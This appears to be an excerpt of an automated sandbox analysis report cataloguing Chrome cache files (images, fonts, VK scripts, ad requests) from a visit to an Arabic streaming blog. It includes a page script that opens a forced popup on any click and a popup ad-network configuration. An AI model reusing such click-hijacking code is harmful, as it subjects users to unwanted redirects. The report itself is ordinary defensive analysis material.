File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=3, software=Google], progressive, precision 8, 350x146, components 3
Category:	downloaded
Size (bytes):	9272
Entropy (8bit):	7.902397384336894
Encrypted:	false
SSDEEP:	192:mdYH99WiN7hj+cJi/jMqepoCHwDZ/Wy/7iUsPFy8+bl71segpPAQ4a:mdYH9DVjJJg1eiZey+Uwy8WlJZQR
MD5:	5353A8AE320287F5A95FB06C4C624454
SHA1:	E4AD88199DDCFC3092BE7E05EEEEB07550A72E3A
SHA-256:	3FC1AB943B76447A9E42B227B700313E1D1224EFDA1A04544480BF35040C040D
SHA-512:	53E0C96BDE5071D0E99F86E6118FA413F06CB5D71C45A2C7B446B1C13039C5E464CB02687C703E09C479E8748B8EFC7F3E80061B40C64F694EE1C1241E14F01F
Malicious:	false
Reputation:	low
URL:	https://blogger.googleusercontent.com/img/a/AVvXsEie-I9BcwAGL-Q2otyHHcocnNO7wYJMLIE_wTDb_VUERu_pttcU4fYTdaJisnLRZ8gVgbZI0ZYBRHx7rOkyP9hw7NUCQmCO_7-0Wd9SE3HB7nfuulr4lY56tKQojf_Z66W51J6snBywAoV2ZSoC2X6gqRQT2qkfXYAUx5CkArxObmMxnMfLGEBWNU9v7DE=s1280
Preview:	......JFIF.............lExif..II.......1.......2...............i.......:.......Google............0220........^......................C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........^..".............................................................................@:...1.Y.e.^Y.H.^2....FGHL..Pbg.nhIj.0..[.>7..9.v.-~.{.".#3Cb..N.r)0;F..\b.th.q:1/W.......joJ..=./t.}C..]0....=.e.<......s..>l.....i_.Q.v.M..UY...'.{..\..5L}<..s-1...T.kj_i....3.[...k..s.Q.E.R...p.....k..3......o.y..y.~c..P~..z.k^..:q..E.=>g..Z.Y5.7'S.p\.`.......4.K.]..W....b^.....u...:JW..,.=.3..{T...a..<......BT.do..%..:r...9..d..S.W......Q..`..k..v.NE.<L.C.6.x%.mq..T.b.........:u.{.gfo...........L....I.l!.Z....s.GU.1P<.r..}0...N.x.y.oK..F%1..........)......h Hs..S.{w....JeN~....V.n.?C.4...wK...Oq!m.5..N..h....T`..\|^.l.PX.N......-..0.....w6...Z.....T.&n..:<......4.}>R..\|..U..c*5.h..c.G.WO<........@.f.'D,.6

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 9996, version 1.0
Category:	downloaded
Size (bytes):	9996
Entropy (8bit):	7.978102207280041
Encrypted:	false
SSDEEP:	192:RroSo3j4T8CjdN21Sqp4LRD0BR3UeVyEwisPtNLMlhjP9hMyCoI7:Rrhoz4bBqqlDy5UTdisPPMrjPDCL7
MD5:	E9C38C1110BE8EAC901FBE1FA4DFF374
SHA1:	ABA40D14B54E93D55124DA50975B075C28969A41
SHA-256:	DE8F431C146AB1FEB612CB7CED0842AE5C4E2F12067D13DB0BADECA73977200B
SHA-512:	63D09F9AF1DC5527A7A83742816DB935C4F9A68DD6E0AA0CB8123C9800445CF98D9CCB4540AC72F22169ACBB4FDF74D4EFE294594C7FEE86F340BF4E5314B493
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/tajawal/v10/Iurf6YBj_oCad4k1l4qkHrFpiQ.woff2
Preview:	wOF2......'.......[...&...........................t..v.`..........#..:..6.$..p. ..~..v....Fe..t;.@Uz~Q......?%..p...U.(...J...Y...yp...S.wS.<0...-,M...X..j._l=_..8l...Y.!G....i8.b....$wx~...0.JQ...Z.Ra....N.8....v.............<....gv.N.M^..a.F..8E1....7K<A........{5[.4..(Yb?.5.g....Fe..i.,... ....o.......k.WY(.!H.N.......&.\....@.7..Xq.sn!.....=S.b_%I4.$.x.$9..LN...N...?...-..P....-...?K......\ I.,...j.z{.....h!?3K).O...,..........j...I.#.....V$.lU..o.e}AH..c.q.j.)??k.2..Km...,...e!.._...."..t....:.......n.2.xH...A..OzC .H.....IN..\..}k..]..j....Z....~d_..w...s......7.......q."..=.lP.z.".....f/......e......j..35...OF.ap.#.$M.....BA.......S....8TR9......X........U...l...4h...{.u.a..w...M..w....5.}........I..SWD..B.L.!>....2\19....J.b...PS...,..z..:.^"...`l.).....{..4.@.8 .x.8.4Id.}..M3..2. A. =..*..\|.u....S.`$F. .2....z.?...h ...%.e..`3....{.b}......6I...d...W...3..[(...t..x.4.1.1..PA..@..R.;....5.....f...Z..M...8\)Q&....`SE..Q...?M.>]..M.

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=3, software=Google], progressive, precision 8, 300x169, components 3
Category:	dropped
Size (bytes):	5203
Entropy (8bit):	7.7449980931913975
Encrypted:	false
SSDEEP:	96:bxLBtmwECnP0ChuKhLUikRoZVXbt2DSe2eK+7PRlSXeWLFgUNe8L/7oqN7:bdBtmfrChuKhUNeZVXh2uuPSX53Ne8LR
MD5:	E59DD6098EFAF851219024ADC1586D4E
SHA1:	A31CB562096774519FCF0CE986D335D3240502E7
SHA-256:	E4E807C2D7A63657844179801EA41304A2053B7C0E9ECFBFC686B26D70F0D064
SHA-512:	A1F2053CA4463197F45D9A53A3A1C7B308EBFEB35B78A6AA0B5EA20A13198238ACE1590475EB5BAC696AD16556E8BC3A05A7947937491663196D6E46E15931DC
Malicious:	false
Reputation:	low
Preview:	......JFIF.............lExif..II.......1.......2...............i.......:.......Google............0220........,......................C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........,.."...............................................................................g..DI.$D..DI.$D..DI.$D..DI.$D..DK6.s.e..............\|..Q.@..............g1FQ..3....x....nu....5.#...o.%>q.#...o:...>6x.{..<...(9q6.u...Op.......k.yg.O.g....D]R.E~..k+.\|.'....].4x1jK...:.....:n.S..5.ho...1....=qa_a[.......z...J...u.F[J.'.W\|.u"-.l.3..(..[...G.Z}N..4.C.r=t.<.6.3......>...9~.>.....)=k.+{....\|....G........]..s..m.=%.....\.9.2..........;^...-..]...kym^..\|..}E....^...9~...OX-..65.T..7...Q.:.O.yIYg.-...z....(3.X-.l.3..(..\.Y.9\|.....c4.h...S.6u..e.d....f..>..l'X._m...V......9y....{..v\|..Q.@..............g1FQ.............g.................................................&s...(......................

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=3, software=Google], baseline, precision 8, 184x274, components 3
Category:	downloaded
Size (bytes):	8700
Entropy (8bit):	7.930804242631394
Encrypted:	false
SSDEEP:	192:NbvF+R1iDGObuTsQVHZ+j7wov1Ouq0HvLDhGQojZHAq:+7izuTbCrNORuwJZHj
MD5:	C7AB11610BBC006B393654166EBF0C76
SHA1:	2E1416E2334F72506C3C314C93C9360F6B06D6C5
SHA-256:	01E85FEDB3BEB2A56C5223E6AEDAFA43D1ED45BD28CD4D2E19EBC643A679D7F7
SHA-512:	A095AB61C066689646AE3DC707FD89500A85F20E681CC1A4DB28BDC948FF8EE318AF0132FF38D4243B9085AFCDF8558E50395D62EEAD80B72E4E64B9E1733556
Malicious:	false
Reputation:	low
URL:	https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxtF2EGc4gyb_sNBOEqULAxq-qIaDz6pkBAa_eeZuLk0GKp2-HyWVJDkW54GH47x7ETBMzGncabdWiE000LAOSqr5Nml9pXFw1pHybu0Y6oFfNw9-gQwYXioDXnLTAtbKLmzeQ0W1Fl5BAJIQCDRAXwLfaIiRbgIFP-khGhSv29jzClIqW-5CQNtMdZZ9e/s1600/%D8%AA%D9%86%D8%B2%D9%8A%D9%84%20(18).jpeg
Preview:	......JFIF.............lExif..II.......1.......2...............i.......:.......Google............0220.....................................................................( ..%...!1!%)+.... 383-7(-.+...........2".%5--0--7+---+--7-----50--+--+7+-+-+-.+-++----+-+5--..........."........................................R........................!..1.."AQaq.....#24Rrs......$3BSb.....Ct..%5Dcd.......................................5.......................!1A.3Qq....2B..#4ar..."CRb..............?..h....(.(.(...(.(....(.(....(.(....(.(....(.(....(.+..y....U.Y..x...(.fe..0.E..f q6.j.@V%..q~.5eMX.Y.i].UR.3.C...OU..fN... .W.......Hf,.\|.#k..p.N.KF'....rl..i?......5.."&xAM...(.M.._.J.LLq.X...~... .. .....LJ.c`...&.U.{(F9...p..ueM.` ...!..8...B..a.[N.p.8.(.. ..(.(....(#.........).xT{.#...\|..)...X.y[.3....=1.G\|...?..qS......9.i...T..VL.E...'..7..............&Uf. .0.3...9...ZIT;.../..x...N[P..~M......L?.....7i.;`.j@.....ViDo.X2.<@.b.>S..0....z.}....e..E....i.(..+....A...;mN....I.

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=1, software=Google], baseline, precision 8, 256x320, components 3
Category:	dropped
Size (bytes):	34207
Entropy (8bit):	7.976769167146536
Encrypted:	false
SSDEEP:	768:TfC9bbKpPexgsOjQitq3vq4DrQEP4tFALI4HCeU:Tf2OnkiSvJDrFoALHCeU
MD5:	FEF447340E571CC16E3D2117E5F7DD47
SHA1:	88769B36EB0C6F3EBDAD7ED3C6D666B0E54C443C
SHA-256:	94CDF01B5FA53D8CDC999B55D143D7D8C152E6B58E4E03C5B4C685D3F72751B8
SHA-512:	509A6AB2B2922F347387B44F8CE084CF6FEE5064C015836572BCB4DDEAF45BF685C19010C7F3EF09EEC313DD12B038951C4EECC064B77C142E078080F5179832
Malicious:	false
Reputation:	low
Preview:	......JFIF.............Exif..II.......1...............Google..............................................................................................................................................@..............................................P.........................!.1A.."Qa..q.#2B......R....$3br..%4tu...&Ccs..5EST....................................9........................!1AQ.."aq2.....#.B.....R.3b$4..............?...A....W/..A...p.A.5..G..%..=..%..A...@....-......V..xC..<:.....a.\|.Y..A.....Q..P..,0.,.. 3..#.D. u.k.V.p.B.$...R..7...}.e...p..s........u..}...A_.p...Y.!.iqR...<=..j.....8B.J.:..(1 .(.xB...5.4.C..O..Z\!....qDtXq....G.......G....._...R..B.L..Are..a.j.OL0I....._....C....p...G.p.. .&.C...c.4.[....Z.L5.pT.,8'.C.....}...tG..(..V..A.E...hj.`.,=(..!BR....:A...{....l..r.M...8tt8B..D0.)...B.2.e....^.H...o...7.n..U...(fe.u.N..Y.O.K.n4.. 9.^.%$....a...... ...-:,...\.H......,....O..Y.YQuG.....<b... .l........iy....b$.-.;F.k.EFe..,.lH....k-.v..>.,.

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65533), with no line terminators
Category:	downloaded
Size (bytes):	107269
Entropy (8bit):	5.14660492275137
Encrypted:	false
SSDEEP:	768:2SRf2qWTWz+6GtibiVQNWDYoMzUZgDgm5mbzBh0wa+zaYIH7:xDv9EYj80+a3
MD5:	F8E836BEB419439E6A5F7178A6111B14
SHA1:	D35EB30768B955EB64B76F262B962A141D6AA562
SHA-256:	761CBB899131D5AD49C1ADCA3C16114D1AF2D9C94ABEC51823C76A277524E647
SHA-512:	223929AB0A7746EE49DB1B94A1A7AD7009C2A0605A37091278C78D5D2A206112DEC12C93BB998C38A369534D3816EE9BCFDF4F34984C5E0E43F423E34F24E4FA
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/css/al/ui_common.38d81192.css
Preview:	.:root{--spinner-animation:rotate360 0.7s linear infinite}@keyframes rotate360{0%{transform:rotate(0deg)}to{transform:rotate(360deg)}}.ui_rmenu{padding:8px 8px 6px;position:relative}.ui_rmenu_item,.ui_rmenu_subitem{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;color:var(--vkui--color_text_primary);padding:4px 12px;box-sizing:border-box;height:36px;border-left:0;border-radius:var(--vkui--size_border_radius--regular);line-height:normal;display:flex;align-items:center}[dir=rtl] .ui_rmenu_item,[dir=rtl] .ui_rmenu_subitem{border-left:none;border-right:0}.ui_rmenu_item:hover,.ui_rmenu_subitem:hover{text-decoration:none}.ui_rmenu_subitem{color:var(--vkui--color_text_subhead)}.ui_rmenu_item,.ui_rmenu_subitem,._ui_rmenu_sublist{margin-bottom:2px}.ui_rmenu_item:hover,.ui_rmenu_item_sel,.ui_rmenu_subitem:hover,.ui_rmenu_subitem_sel{background-color:var(--vkui--vkontakte_background_hover_alpha)}.ui_rmenu_subitem.ui_rmenu_item_sel{color:var(--vkui--color_text_primary)}.

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65533), with no line terminators
Category:	downloaded
Size (bytes):	336402
Entropy (8bit):	5.503977019050897
Encrypted:	false
SSDEEP:	6144:GpWhj+t6BRPTLryppKdNF0i6l+virO/Mj4YK5u+9nsFVZRxE48hm5A9W:j+t6BZTLr0pKdNF0iTvirO/Mj4YK5u+u
MD5:	FC5599F2690479CD44FEB150B3D2CD45
SHA1:	EC66FA43527F76C5DFECBDF46C70C77665197A55
SHA-256:	2E6924700462B4332A683575A294A9F47AE7D06ED2CD8E5E4114FFCA703BDFD1
SHA-512:	4C7E25A87A8E785396CFB3151140B5ECAEDA2F4BC4D2F82997CE48246C4F58062307EDC07C82BA28208F97C4C7BBE9F8CA35A5C99FCA5C201F344670821353A1
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/chunks/audioplayer-lib.bc13de6d.js
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[79210],{620069:(e,t,o)=>{o.d(t,{drawAlbumPartRow:()=>a});var s=o(866467);function a(e){return`<div class="audio_album_part_row">${s.getLang("audio_album_part").replace("{part}",e)}</div>`}},114262:(e,t,o)=>{o.d(t,{getAlbumParts:()=>a});var s=o(867366);function a(e){if(e&&e.getAudiosCount()&&e.isFullyLoadable()&&!e.hasMore()){const t=e.getAudiosList(),o=e.getAudiosCount(),a=[];let r=0;for(let e=0;e<o;e++){const o=t[e][s.AUDIO_PLAYER_ENUMS.AUDIO_ITEM_INDEX_ALBUM_PART];o>r&&(r=o,a.push({number:o,offset:e}))}if(a.length>1)return a}return!1}},599621:(e,t,o)=>{o.d(t,{showAudioAlbum:()=>l});var s=o(972623),a=o(909436),r=o(752740);function l(e,t){return cur.viewAsBox?cur.viewAsBox():(t=a.AudioUtils.audioTupleToAudioObject(t),layers.fullhide&&layers.fullhide(),(0,r.onAdditionalEvent)(e,t,{type:s.TYPE_SHOW_ALBUM}),a.AudioUtils.showAudioPlaylist(t.album[0],t.album[1],t.album[2]))}},433083:(e,t,o)=>{o.d(t,{followArtist:()=>

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (2183)
Category:	downloaded
Size (bytes):	2499
Entropy (8bit):	5.5560140837550875
Encrypted:	false
SSDEEP:	48:vzIAi5UQvj+e8CjIHbtHqoxar6pIZ9HUIjkFDHk9y8CHAQxYK/JBL:85Keb07LxamE1kQyyQxYKjL
MD5:	7DDC82DA2291698879A59628D20BCE6B
SHA1:	57373EE1D612EB7A35E8D54CEBDDFAEF89D57C4C
SHA-256:	148C8AFBF47BF101DD65657A0877C7337784D0083A45F4FB48C42F48D8A8314B
SHA-512:	D852C4B3648B0A7809EB085BDE3BDC917EECCE25B24FC1F2159F757109E22632435FCB0342BBC603E9D9B65F6FC6CB483A4CB6D11C0C90D7C9FC1F957A2CB7B7
Malicious:	false
Reputation:	low
URL:	https://www.mycimalive.com/feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945586997&data&_=1728945586998
Preview:	// API callback.jQuery11100049902415236919184_1728945586997({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blogger/2008","xmlns$georss":"http://www.georss.org/georss","xmlns$gd":"http://schemas.google.com/g/2005","xmlns$thr":"http://purl.org/syndication/thread/1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":"...... ...... ......"},{"term":"........"},{"term":"........"},{"term":".... ... .. ....."},{"term":"..... .. ......"},{"term":"..... .... ...."},{"term":".... ........."},{"term":"..."},{"term":".... ..... .. ...."},{"term":"..... ...."},{"term":"...... ......."},{"term":"....... 2"},{"term":"..... ......"},{"term":".

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	88817
Entropy (8bit):	5.209684880756335
Encrypted:	false
SSDEEP:	768:PldZLEvClIj28uRoPulM3G4SyVw06DFYIUlg1+Z6r+DEXIhcpa9uHqHgxZ8zYbkQ:aP2xAbi9cK
MD5:	8DAA767C9173B8B0C521927E80811AA3
SHA1:	D55E3EBE9D428AA05885CC640852F8CFCFEB3BC2
SHA-256:	7536FE3AC768E2773F65DF003FBB838FF00C207A658CA2D8510BF7612445E688
SHA-512:	4BA0F6CD79529D2F9544BEF5119DB33AB05AB32EA7140D102E6CC2D9ED855CD6EB7FDB5F0A6B93D70B87B1FA085E85E6D09075DE823C6900A5D0CD302E9EA407
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css2?family=Almarai:wght@300;400;700;800&family=Cairo:wght@200;300;400;500;600;700;800;900;1000&family=Changa:wght@200;300;400;500;600;700;800&family=El+Messiri:wght@400;500;600;700&family=Noto+Kufi+Arabic:wght@100;200;300;400;500;600;700;800;900&family=Tajawal:wght@200;300;400;500;700;800;900&display=swap
Preview:	/* arabic /.@font-face {. font-family: 'Almarai';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/almarai/v13/tssoApxBaigK_hnnS_antnqWo572.woff2) format('woff2');. unicode-range: U+0600-06FF, U+0750-077F, U+0870-088E, U+0890-0891, U+0898-08E1, U+08E3-08FF, U+200C-200E, U+2010-2011, U+204F, U+2E41, U+FB50-FDFF, U+FE70-FE74, U+FE76-FEFC, U+102E0-102FB, U+10E60-10E7E, U+10EFD-10EFF, U+1EE00-1EE03, U+1EE05-1EE1F, U+1EE21-1EE22, U+1EE24, U+1EE27, U+1EE29-1EE32, U+1EE34-1EE37, U+1EE39, U+1EE3B, U+1EE42, U+1EE47, U+1EE49, U+1EE4B, U+1EE4D-1EE4F, U+1EE51-1EE52, U+1EE54, U+1EE57, U+1EE59, U+1EE5B, U+1EE5D, U+1EE5F, U+1EE61-1EE62, U+1EE64, U+1EE67-1EE6A, U+1EE6C-1EE72, U+1EE74-1EE77, U+1EE79-1EE7C, U+1EE7E, U+1EE80-1EE89, U+1EE8B-1EE9B, U+1EEA1-1EEA3, U+1EEA5-1EEA9, U+1EEAB-1EEBB, U+1EEF0-1EEF1;.}./ latin */.@font-face {. font-family: 'Almarai';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gst

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (28233)
Category:	downloaded
Size (bytes):	74477
Entropy (8bit):	5.793759622548341
Encrypted:	false
SSDEEP:	1536:SYXUFxkyipWYB4mfpMpQQYjWmB+fpMpQQYjWDHmzE3XAZa2:DmkyitBZ6p0jhB+6p0joHmz/ZH
MD5:	FB49E47E2B9BD947666649FF86AC4347
SHA1:	5F6AE48F9EA3DBF55C31B5633752BFAAA785364F
SHA-256:	88DF5B46964DB236582FA57336D41AB82983C7EDC5FFE1A7FD86F0A2CBD33517
SHA-512:	AB3E327CBD15E1243565EE10F17502A919D61376EF492A52E8AAFBB30A3561CB4E7C7D6080DE22E72E2F94F99B5A95BFBAB1DA6B370B79295952BDD2D3B069FA
Malicious:	false
Reputation:	low
URL:	https://sqsq2938.blogspot.com/2024/10/78.html
Preview:	<!DOCTYPE html>.<html dir='rtl' lang='en-US' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>.<head>.<script type='text/javascript'>..document.body.onclick= function(){..window.open('https://accompanimentrealistic.com/qqmxnq69g4?key=e9c5afd545019ee1fdd79ed9c52c406f', 'poppage', 'toolbars=0, scrollbars=1, location=0, statusbars=0, menubars=0, resizable=1, width=800, height=600, left = 300, top = 50');..}</script>. Defult metatags -->.<link href='https://sqsq2938.blogspot.com/2024/10/78.html' rel='canonical'/><link href='https://sqsq2938.blogspot.com/favicon.ico' rel='icon' type='image/x-icon'/><meta content='width=device-width, initial-scale=1.0, shrink-to-fit=no' name='viewport'/><title>...... ....... ...... 78 </title><meta content='6002409460088195649' id='gels'/><meta content='' name='theme-color'/><meta content='' name='msapplicati

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (603), with no line terminators
Category:	downloaded
Size (bytes):	603
Entropy (8bit):	0.935856668666257
Encrypted:	false
SSDEEP:	3:qVZqp6OqPFFSKPCQ4:qzc6OqPbRM
MD5:	2C739853E3EDFA26869416E3D4E5D369
SHA1:	C263DC1C36C954B252BC7E775E6E82865D9B29B8
SHA-256:	00DAEF3B4A945D15F73EFA05E0CE2CA51F2F8252E1DA8FAE5C2EFB0F6DDDACCE
SHA-512:	EAE3DF357290171698ED241A53688A1907712A53D5AC7B8CA06C618335FE45FC556C9903DCC09283A4DABB6AC896CA67AF1AEAFA528593DB532F2E8586540A86
Malicious:	false
Reputation:	low
URL:	https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5999781818075238&output=html&adk=1812271804&adf=3025194257&abgtt=6&lmt=1728937851&plat=1%3A16777216%2C2%3A16777216%2C3%3A16%2C4%3A16%2C9%3A32776%2C16%3A8388608%2C17%3A32%2C24%3A32%2C25%3A32%2C30%3A1081344%2C32%3A32%2C41%3A32%2C42%3A32&format=0x0&url=https%3A%2F%2Fwww.mycimalive.com%2F&host=ca-host-pub-1556223355139109&pra=5&wgl=1&aihb=0&asro=0&ailel=1~2~4~6~7~8~9~10~11~12~13~14~15~16~17~18~19~20~21~24~29~30~34&aiael=1~2~4~6~7~8~9~10~11~12~13~14~15~16~17~18~19~20~21~24~29~30~34&aicel=33&aifxl=29_18~30_19&aiixl=29_5~30_6&aslmct=0.7&asamct=0.7&aiict=1&aiopts=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTM0Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzQiXV0sMF0.&dt=1728945587196&bpp=15&bdt=1401&idt=2132&shv=r20241009&mjsv=m202410080101&ptt=9&saldr=aa&abxe=1&cookie_enabled=1&eoidce=1&nras=1&correlator=1312372006252&frm=20&pv=2&u_tz=-240&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&dmc=8&adx=-12245933&ady=-12245933&biw=1275&bih=907&scr_x=0&scr_y=0&eid=44759875%2C44759926%2C44759837%2C95338738%2C31087805%2C31087941%2C31087987%2C44798934%2C95343454%2C95344187%2C95344522%2C95344778%2C31087608&oid=2&pvsid=3733427255325303&tmod=1008452106&uas=1&nvt=1&fsapi=1&fc=1920&brdim=0%2C0%2C0%2C0%2C1280%2C0%2C1280%2C984%2C1280%2C907&vis=2&rsz=%7C%7Cs%7C&abl=NS&cms=1&fu=32768&bc=31&bz=1&td=1&tdf=0&psd=W251bGwsbnVsbCxudWxsLDNd&nt=1&ifi=1&uci=a!1&fsb=1&dtd=2282
Preview:	<html><body style="background-color:transparent"></body></html>

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	678
Entropy (8bit):	5.33451760804153
Encrypted:	false
SSDEEP:	12:YWyb5yWHREVTwXP+FWhvSC5x56JVGHw8XaPipz7zALiCPmkOrlv:Yt59REVTwXGshtv56Pt8XHcLiMmkOJ
MD5:	0BDF6CB0976847858AB1ED28E0DCC20D
SHA1:	7032FD1CEA9E39717D7A47D49744217C9F7DBD29
SHA-256:	7EA1FA4053816F367209E63DFCF27F75E25D9A835247694C8AA8387EEA536665
SHA-512:	DD8D9FFB15216A9750893B77FCF2FD9355784B7462EF2EEA80FC2F763B65100F2AA5E01532FC591B4A56BA19F0E93502CEAA4B490A1A1B8726FC7B3A497D472C
Malicious:	false
Reputation:	low
Preview:	{"status":true,"code":"jsTagParameters","unsupported":false,"afterCloseDelay":3,"allowPopupIfHttpsDenied":true,"customParamsGeo":"us","customParamsIp":"216.52.183.150","domain":"https://jouteetu.net","forcePopup":true,"injections":null,"install_ctx":{"country_code":"us"},"resources":{},"mobileSupport":true,"popup":true,"popupHeight":310,"popupShow":true,"popupWidth":510,"pubZoneId":8165884,"key":{"id":789296303,"key":"BE3R3LXrc_Svtm3ZiBFkRduL_uMPYASTX9c5V7X1oyj8_LUJ4xZC8r_LgnNPVvS93lEkgx4Kdza7ZJFHVWks7WQ"},"swName":"sw.js","wildcardDomain":"agagaure.com","zoneId":8165884,"skinUrl":"/3bT/27mJf/defaultSkin.min.js","popupUrl":"/3bT/27mJf/popup.html","flags":{},"extra":{}}.

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65454)
Category:	dropped
Size (bytes):	694788
Entropy (8bit):	5.670157103666257
Encrypted:	false
SSDEEP:	12288:ag5ztBznEGMSCkJgh+aH78S5pns5Gk3LX5KYREDmEQ54H6gMwtqdVd+:ag5ZBznEGMPkJgls5Gk3LX5KH
MD5:	2D8C8EDEAD96E9B549E7BF9FA3868793
SHA1:	001D167EF82E517F56C70B6FC181812AEB9765A7
SHA-256:	D381183971566D01C8E86B273480910F40D0B8243F8D1F918F604914EFA6DB14
SHA-512:	0F4ACABE2776304062B8BBE2F757832FDE54EF0A416EF7422EA98DD1191E2EA05C3B6D9056012BB80046A853DC301D9C7FACEA5E91B76413CD4F4915F2B66F05
Malicious:	false
Reputation:	low
Preview:	./! For license information please see bootstrap.15ebed4f.js.LICENSE.txt /.(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[35623],{365006:(e,t,o)=>{"use strict";o.d(t,{API_VERSION:()=>r});const r="5.243"},801746:(e,t,o)=>{"use strict";function r(){return{icon:'<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8 3.25a4.75 4.75 0 0 0-4.15 7.07.75.75 0 1 1-1.3.73A6.25 6.25 0 1 1 8 14.25a.75.75 0 0 1 0-1.5 4.75 4.75 0 1 0 0-9.5Z" clip-rule="evenodd"/></svg>',name:"spinner_16"}}o.d(t,{getIcon16Spinner:()=>r})},680208:(e,t,o)=>{"use strict";function r(){return{icon:'<svg fill="none" height="20" viewBox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M4.72 4.72c.3-.3.77-.3 1.06 0L10 8.94l4.22-4.22a.75.75 0 1 1 1.06 1.06L11.06 10l4.22 4.22a.75.75 0 1 1-1.06 1.06L10 11.06l-4.22 4.22a.75.75 0 0 1-1.06-1.06L8.94 10 4.72 5.78a.75.75 0 0 1 0-1.06z" fill="currentCo

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.047468393563874
Encrypted:	false
SSDEEP:	3:YWR4brEJRA7WzHyXQO8R4v:YWybrCR4v
MD5:	289BE6DB62B320BC4B1E1FD86E0F0B7E
SHA1:	32F85540B56D5971B3696D38E60E4947B862505B
SHA-256:	E4030A66EFD0BF72B0BAF66848A3C5F6CFF5D24E24EBC58464F1A41968583D66
SHA-512:	735F2C85243FFED7DB58FB74F7E5549F4D90136F73E4962F2E643E919BB96B4BCC76F5CEBCFBD425A00BD491F256E61A2F8BBE6775A2E9629F35EBDCB10196E8
Malicious:	false
Reputation:	low
Preview:	{"status":false,"code":"error","message":"wrong request"}.

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
